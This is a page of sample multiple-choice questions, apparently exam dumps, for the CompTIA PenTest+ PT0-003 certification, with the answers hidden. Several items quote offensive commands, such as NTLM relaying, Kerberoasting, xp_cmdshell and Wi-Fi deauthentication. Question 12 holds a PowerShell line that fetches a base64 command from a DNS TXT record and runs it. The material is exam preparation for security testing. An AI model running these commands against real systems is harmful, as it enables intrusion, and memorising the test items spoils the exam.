CompTIA PT0-003 Exam Dumps

CompTIA PenTest+ Exam

CompTIA PT0-003 Sample Questions

Question # 1

During an assessment, a penetration tester compromises some machines but finds that none of the accounts have sufficient access to the target HR database server. In order to enumerate accounts with sufficient permissions, the tester wants to model an attack path before taking further action. Which of the following tools should the tester use to meet this objective? 

A.Responder
B.Mimikatz
C.Hydra
D.BloodHound
E.TruffleHog

Show Answer

Question # 2

A penetration tester needs to collect information transmitted over the network for further steps in an internal assessment. Which of the following would most likely accomplish this goal? 

A. ntlmrelayx.py -t 192.168.1.0 -1 1234
B. nc -tulpn 1234 192.168.1.2
C. responder.py -I eth0 -wP
D. crackmapexec smb 192.168.1.0 -u "user" -p "pass123"

Show Answer

Question # 3

A penetration tester completed a report for a new client. Prior to sharing the report with the client, which of the following should the penetration tester request to complete a review?

A.A generative AI assistant
B.The customer's designated contact
C.A cybersecurity industry peer
D.A team member

Show Answer

Question # 4

A company hires a penetration tester to test the security implementation of its wireless networks. The main goal for this assessment is to intercept and get access to sensitive data from the company's employees. Which of the following tools should the security professional use to best accomplish this task? 

A.Metasploit
B.WiFi-Pumpkin
C.SET
D.theHarvester
E.WiGLE.net

Show Answer

Question # 5

A penetration tester writes the following script to enumerate a network:1#!/bin/bash2for i in {1..254}3ping -c1 192.168.1.$i4doneThe tester executes the script, but it fails with the following error:-bash: syntax error near unexpected token 'ping'Which of the following should the tester do to fix the error?

A. Add do after line 2
B. Replace {1..254} with $(seq 1 254)
C. Replace bash with zsh
D. Replace $i with ${i}

Show Answer

Question # 6

During an assessment, a penetration tester runs the following command from a Linux machine: GetUsersSPNs.py -dc-ip 172.16.1.1 DOMAIN.LOCAL/aholliday -request Which of the following is the penetration tester trying to do?

A.Crack the user password for aholliday
B.Download all TGS tickets for offline processing
C.Perform a pass-the-hash attack using the hash for aholliday
D.Perform password spraying

Show Answer

Question # 7

During an assessment, a penetration tester obtains access to a Microsoft SQL server using sqlmapand runs the following command:sql> xp_cmdshell whoami /allWhich of the following is the tester trying to do?

A.List database tables
B.Show logged-in database users
C.Enumerate privileges
D.Display available SQL commands

Show Answer

Question # 8

A penetration tester enters an invalid user ID on the login page of a web application. The tester receives a message indicating the user is not found. Then, the tester tries a valid user ID but an incorrect password, but the web application indicates the password is invalid. Which of the following should the tester attempt next? 

A.Error log analysis
B.DoS attack
C.Enumeration
D.Password dictionary attack

Show Answer

Question # 9

During a pre-engagement activity with a new customer, a penetration tester looks for assets to test. Which of the following is an example of a target that can be used for testing?

A.API
B.HTTP
C.IPA
D.ICMP

Show Answer

Question # 10

A tester needs to begin capturing WLAN credentials for cracking during an on-site engagement. Which of the following is the best command to capture handshakes? 

A.tcpdump -n -s0 -w <pcapname> -i <iface>
B.airserv-ng -d <iface>
C.aireplay-ng -0 1000 -a <target_mac>
D.airodump-ng -c 6 --bssid <target_mac> <iface>

Show Answer

Question # 11

While conducting OSINT, a penetration tester discovers the client's administrator posted part of an unsanitized firewall configuration to a troubleshooting message board. Which of the following did the penetration tester most likely use? 

A.HTML scraping
B.Public code repository scanning
C.Wayback Machine
D.Search engine enumeration

Show Answer

Question # 12

A penetration tester writes the following script, which is designed to hide communication and bypasssome restrictions on a client's network:$base64cmd = Resolve-DnsName foo.comptia.org -Type TXT | Select-Object -ExpandProperty Strings$decodecmd =[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64cmd))Powershell -C $decodecmdWhich of the following best describes the technique the tester is applying?

A.DNS poisoning
B.DNS infiltration
C.DNS trail
D.DNS tunneling

Show Answer

Question # 13

[Attacks and Exploits] A penetration tester wants to use PowerView in an AD environment. Which of the following is the most likely reason? 

A.To collect local hashes
B.To decrypt stored passwords
C.To enumerate user groups
D.To escalate privileges

Show Answer

Question # 14

[Attacks and Exploits]A penetration tester finishes an initial discovery scan for hosts on a customer subnet. Thecustomer states that the production network is composed of Windows servers but no containerclusters. The following are the last several lines from the scan log:Line 1: 112 hosts found... trying portsLine 2: FOUND 22 with OpenSSH 1.2p2 open on 99 hostsLine 3: FOUND 161 with UNKNOWN banner open on 110 hostsLine 4: TCP RST received on ports 21, 3389, 80Line 5: Scan complete.Which of the following is the most likely reason for the results?

A.Multiple honeypots were encountered
B.The wrong subnet was scanned
C.Windows is using WSL
D.IPS is blocking the ports

Show Answer

Question # 15

[Information Gathering and Vulnerability Scanning] A penetration tester is configuring a vulnerability management solution to perform credentialed scans of an Active Directory server. Which of the following account types should the tester provide to the scanner?

A.Read-only
B.Domain administrator
C.Local user
D.Root 

Show Answer

Question # 16

[Tools and Code Analysis] A penetration tester compromises a Windows OS endpoint that is joined to an Active Directory local environment. Which of the following tools should the tester use to manipulate authentication mechanisms to move laterally in the network? 

A.Rubeus
B.WinPEAS
C.NTLMRelayX
D.Impacket

Show Answer

Question # 17

[Reporting and Communication] Which of the following elements of a penetration test report can be used to most effectively prioritize the remediation efforts for all the findings? 

A.Methodology
B.Detailed findings list
C.Risk score
D.Executive summary

Show Answer

Question # 18

[Reporting and Communication] Which of the following components should a penetration tester include in the final assessment report?

A.User activities
B.Customer remediation plan
C.Key management
D.Attack narrative

Show Answer

Question # 19

[Information Gathering and Vulnerability Scanning]A penetration tester is enumerating a Linux system. The goal is to modify the following script toprovide more comprehensive system information:#!/bin/bashps aux >> linux_enum.txtWhich of the following lines would provide the most comprehensive enumeration of the system?

A.cat /etc/passwd >> linux_enum.txt; netstat -tuln >> linux_enum.txt; cat /etc/bash.bashrc >>linux_enum.txt
B.whoami >> linux_enum.txt; uname -a >> linux_enum.txt; ifconfig >> linux_enum.txt
C.hostname >> linux_enum.txt; echo $USER >> linux_enum.txt; curl ifconfig.me >> linux_enum.txt
D.lsof -i >> linux_enum.txt; uname -a >> linux_enum.txt; ls /home/ >> linux_enum.txt

Show Answer

Question # 20

[Attacks and Exploits] Which of the following frameworks can be used to classify threats?

A.PTES
B.STRIDE
C.OSSTMM
D.OCTAVE

Show Answer

Question # 21

[Tools and Code Analysis]During host discovery, a security analyst wants to obtain GeoIP information and a comprehensivesummary of exposed services. Which of the following tools is best for this task?

A.WiGLE.net
B.WHOIS
C.theHarvester
D.Censys.io

Show Answer

Question # 22

[Information Gathering and Vulnerability Scanning]A penetration tester needs to scan a remote infrastructure with Nmap. The tester issues thefollowing command:nmap 10.10.1.0Which of the following is the number of TCP ports that will be scanned?

A.256
B.1,000
C.1,024
D.65,535

Show Answer

Question # 23

[Attacks and Exploits]A client recently hired a penetration testing firm to conduct an assessment of their consumer-facingweb application. Several days into the assessment, the clients networking team observes asubstantial increase in DNS traffic. Which of the following would most likely explain the increasein DNS traffic?

A.Covert data exfiltration
B.URL spidering
C.HTML scraping
D.DoS attack

Show Answer